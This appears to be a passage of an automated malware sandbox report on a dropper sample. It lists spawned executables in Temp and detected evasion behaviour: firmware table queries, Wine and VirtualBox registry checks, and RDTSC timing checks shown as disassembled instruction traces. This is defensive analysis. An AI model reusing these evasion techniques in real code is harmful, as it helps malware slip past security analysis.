Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDA2F second address: 3CDA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDA35 second address: 3CDA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDD0C second address: 3CDD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDD10 second address: 3CDD24 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F39B4DF473Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDD24 second address: 3CDD32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE146 second address: 3CE151 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0AAB second address: 3D0AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0C21 second address: 3D0C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F39B4DF473Eh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jp 00007F39B4DF4740h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jne 00007F39B4DF4736h 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 je 00007F39B4DF4750h 0x00000028 pushad 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b jmp 00007F39B4DF4746h 0x00000030 popad 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 jl 00007F39B4DF4740h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0C7A second address: 3D0CB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [ebp+122D30D0h], edi 0x0000000d add dword ptr [ebp+122D1F3Bh], ecx 0x00000013 lea ebx, dword ptr [ebp+124459EBh] 0x00000019 jmp 00007F39B4C7E9BEh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 jp 00007F39B4C7E9BCh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CB0 second address: 3D0CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CB6 second address: 3D0CBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CBA second address: 3D0CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F39B4DF473Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CCD second address: 3D0CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CD1 second address: 3D0CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0CD7 second address: 3D0CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0D25 second address: 3D0D66 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F39B4DF4749h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F39B4DF4748h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0D66 second address: 3D0DAD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F39B4C7E9B8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 jnp 00007F39B4C7E9BCh 0x0000002a mov edi, dword ptr [ebp+122D2E5Eh] 0x00000030 push CD6FCC36h 0x00000035 push eax 0x00000036 push edx 0x00000037 jbe 00007F39B4C7E9B8h 0x0000003d push edx 0x0000003e pop edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0DAD second address: 3D0E20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3290344Ah 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F39B4DF4738h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D1E8Ch], esi 0x0000002f push 00000003h 0x00000031 sub dword ptr [ebp+122D20DFh], esi 0x00000037 add si, D491h 0x0000003c push 00000000h 0x0000003e mov edi, dword ptr [ebp+122D1FE1h] 0x00000044 push 00000003h 0x00000046 call 00007F39B4DF4741h 0x0000004b mov dword ptr [ebp+122D2335h], eax 0x00000051 pop ecx 0x00000052 call 00007F39B4DF4739h 0x00000057 push eax 0x00000058 push edx 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0E20 second address: 3D0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0E25 second address: 3D0E2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F39B4DF4736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0E2F second address: 3D0E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F39B4C7E9BFh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 pop esi 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0E59 second address: 3D0E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F39B4DF4738h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 jnc 00007F39B4DF4738h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0E78 second address: 3D0E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0E7C second address: 3D0ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 and edx, 00DCCB76h 0x0000000e lea ebx, dword ptr [ebp+124459F4h] 0x00000014 jmp 00007F39B4DF473Fh 0x00000019 mov dword ptr [ebp+122D1DCBh], edi 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 jo 00007F39B4DF4738h 0x00000027 push edi 0x00000028 pop edi 0x00000029 pop eax 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F39B4DF4749h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0ECC second address: 3D0ED1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0F28 second address: 3D0F6B instructions: 0x00000000 rdtsc 0x00000002 je 00007F39B4DF473Ch 0x00000008 jg 00007F39B4DF4736h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 jnc 00007F39B4DF473Ch 0x00000018 pop edi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c jmp 00007F39B4DF4742h 0x00000021 push 04CA5E00h 0x00000026 push eax 0x00000027 push edx 0x00000028 jc 00007F39B4DF4738h 0x0000002e push edx 0x0000002f pop edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0F6B second address: 3D0F70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D0F70 second address: 3D1003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF4742h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 04CA5E80h 0x00000013 mov dword ptr [ebp+122D1F1Bh], edi 0x00000019 or cl, FFFFFFC1h 0x0000001c push 00000003h 0x0000001e sub di, C136h 0x00000023 mov esi, dword ptr [ebp+122D3B6Bh] 0x00000029 push 00000000h 0x0000002b mov si, cx 0x0000002e push 00000003h 0x00000030 mov cx, 5242h 0x00000034 push 44868804h 0x00000039 jmp 00007F39B4DF4740h 0x0000003e add dword ptr [esp], 7B7977FCh 0x00000045 mov dx, 1896h 0x00000049 lea ebx, dword ptr [ebp+124459FFh] 0x0000004f push 00000000h 0x00000051 push ebp 0x00000052 call 00007F39B4DF4738h 0x00000057 pop ebp 0x00000058 mov dword ptr [esp+04h], ebp 0x0000005c add dword ptr [esp+04h], 00000019h 0x00000064 inc ebp 0x00000065 push ebp 0x00000066 ret 0x00000067 pop ebp 0x00000068 ret 0x00000069 mov ecx, dword ptr [ebp+122D1F25h] 0x0000006f push eax 0x00000070 pushad 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E20BF second address: 3E20D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4C7E9BCh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F20D3 second address: 3F20DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1A13 second address: 3C1A2E instructions: 0x00000000 rdtsc 0x00000002 js 00007F39B4C7E9B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jc 00007F39B4C7E9CEh 0x00000013 jc 00007F39B4C7E9BEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F01F6 second address: 3F01FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F038C second address: 3F0390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F07ED second address: 3F07F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F07F1 second address: 3F07F9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F07F9 second address: 3F0817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jo 00007F39B4DF4736h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e jno 00007F39B4DF4738h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0817 second address: 3F081F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0CC4 second address: 3F0CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F39B4DF473Ah 0x0000000e jmp 00007F39B4DF473Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0E6A second address: 3F0EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F39B4C7E9C7h 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F39B4C7E9B6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F39B4C7E9C6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F0EAC second address: 3F0EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F1018 second address: 3F1027 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F39B4C7E9B6h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F1027 second address: 3F1041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF473Ch 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F1041 second address: 3F104E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39B4C7E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F104E second address: 3F1063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F39B4DF4738h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jbe 00007F39B4DF473Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E8033 second address: 3E8039 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F18D6 second address: 3F18EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 ja 00007F39B4DF4736h 0x0000000c pop edi 0x0000000d popad 0x0000000e push edx 0x0000000f jc 00007F39B4DF473Eh 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC929 second address: 3BC92F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F6204 second address: 3F622A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39B4DF473Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F68CA second address: 3F68CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
